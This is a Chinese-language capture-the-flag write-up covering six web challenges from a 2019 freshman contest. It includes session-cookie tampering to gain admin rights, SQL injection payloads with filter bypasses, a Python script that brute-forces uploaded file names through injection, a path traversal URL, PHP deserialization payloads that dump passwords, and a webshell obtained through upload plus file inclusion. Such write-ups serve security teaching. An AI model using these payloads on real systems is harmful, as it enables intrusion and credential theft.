2019Blue-Whale新生赛 Web部分-WP

2019Blue-Whale新生赛 Web-WP

Admin

用guest账号进去,访问,抓包。发现里面SESSION是一传BASE64,解码得到

1
{"user":"guest","perm":{"flag.php":false,"profile.php":true}}

改成下面的

1
{"user":"admin","perm":{"flag.php":true,"profile.php":true}}

重放一下数据包,得到flag

flag{S2FpYnJv5omL5LiL55WZ5oOF5a5ZeO77yf}

BabyPHP

一开始觉得可能是数组绕过,但是问题是,你绕过去了,eval执行的结果是错的,因为你传递的是数组,而不是字符串。可以参考下面这个WP,或者CTF-wiki上也有。找时间详细讲讲。

1
2
http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

Warmup

这题不难,绕过SQL,可以联合查询,关键在于,整个表里面是没有 ‘Congrats!’ 的。所以我们可以自己构造一个。

1
1233') union select 'Congrats!' from users --

getshell

查看源代码,有一行这个。

1
<!-- index.php?file=register.php -->

随便注册一下,进去就行了,考察点不在这里。

进去有一个download,以及upload。 基本猜得出来和文件上传+任意文件下载。

点download,全程抓包。 你会发现有一个post包:

1
image=1&image_download=%E6%94%B6%E8%97%8F

这里可能有些人没有想到SQL注入。在image=1 这里存在整数型SQL注入,说白了就是改个名字,让我们下载到index.php.

1
image=2 ununionion selselectect 0x696e6465782e706870&image_download=%E6%94%B6%E8%97%8F

P.S:image后的数字不能是已经存在的。 用0x696e6465782e706870 = index.php (单引号过滤),用ununionion(关键词过滤)

通过上述操作,可以下载到任意代码。下面就贴一下upload.php的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php 

defined("DIR_PERMITION") or die("Access denied!");

if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}

?>
<link rel="stylesheet" href="./css/main.css" style="css" />
<div id="left"><div class="main"><table align=center cellspacing="0" cellpadding="0" style="border-collapse: collapse;border:0px;">
<tr>
<form method=get action="index.php">
<td align=right style="padding:0px; border:0px; margin:0px;">
<input type=submit name=file value="home" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="download" class="side-pan">
</td>
<td align=right style="padding:0px; border:0px; margin:0px;" >
<input type=submit name=file value="upload" class="side-pan">
</td>
</form></tr></table></div></div>
<div id="right"></div><div align=center>

<form action="index.php?file=upload" method="post" enctype="multipart/form-data">
<input type="file" name ="file">
<input type="submit" name="submit" value="upload" >
</form>

<?php

if (isset($_FILES['file'])) {

$seed = rand(0,getrandmax());
mt_srand($seed);
if ($_FILES["file"]["error"] > 0) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\">uplpad file error!:".$_FILES["file"]["error"]."</i></div>";
die();
}
$fileTypeCheck = ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800));
$reg='/^gif|jpg|jpeg|png$/';
$fileExtensionCheck=!preg_match($reg,pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if($fileExtensionCheck){
die("Only upload image file!");
}
if($fileTypeCheck){

$fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
$fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
$userid = $_SESSION['userid'];
$sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
$res = $conn ->query($sql);
if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";

}else{
echo "<script>alert('file upload error')</script>";
}

}else{

echo "<script>alert('file type error');</script>";
}

}

?>

可以看出来,是没有限制文件内容,只限制了后缀。因为有文件包含漏洞,这里利用一下伪协议(phar和zip都可以,通过压缩文件,然后利用伪协议访问压缩包内的php文件)。

但是这里仍然存在问题,你上传了,upload会给你改名字。 哪里获得名字? =>刚才的sql注入又起到了作用。 这里直接贴代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

import requests

def getFilename():
data="image=46%20aandnd%20image_name%20lilikeke%200x7465737431%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"
url = "http://47.94.90.254:8011/downfile.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"PHPSESSID=efrlof7kv872lbl4o1vlvjt2i5",
"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
}

randStr="0123456789abcdefghijklmnopqrstuvwxyz{"
fileName = "./Up10aDs/"
for _ in range(33):
print "[*]",fileName
for i in range(len(randStr)):
# print i
tmpFileName = fileName+randStr[i]
res = requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers)
# print res.text
if "file may be deleted" not in res.text:
fileName = fileName + randStr[i-1]
break

if __name__ == '__main__':
getFilename()

对于EXP的解释可以看这个:http://wonderkun.cc/index.html/?p=547

这题有一个问题,写了shell后,只能system(ls),system(dir) ,不能cat xxxxx 要通过任意文件下载的方法把文件下载查看。


update:

由于本人疏忽,没注意index.php顶上对’$_GET和$_POST 有一个d_addslashes()(自创函数)

1
2
3
4
5
6
7
8
9
10
11
12
function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key] = d_addslashes($array[$key]);
}
}
return $array;
}

使得传入的单引号和空格会被转义。

解决办法:

将语句base64编码即可。

system(base64_decode(xxxxxxx))(记住除掉=号,php会自动填充,以免不必要的问题发生)

Package

Hctf签到题原题。

右键源代码。

利用:

1
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

payload

1
http://xxx/index.php?file=source.php%253f/../../../../fl4g

Trick

反序列化问题

获取passwd:

1
O:5:"TRICK":3:{s:13:"%00TRICK%00mayway";s:7:"display";s:14:"%00TRICK%00aaaargs";a:1:{i:0;s:71:"blb' union select passwd,uname,passwd from users where part='admin' -- ";}}

获取flag

1
O:5:"TRICK":4:{s:13:"%00TRICK%00mayway";s:5:"enter";s:14:"%00TRICK%00aaaargs";a:2:{i:0;s:5:"ahhhh";i:1;s:12:"trickORtreat";}}

不难,有几个点得注意。

1.不要写错单引号和双引号。

2.序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00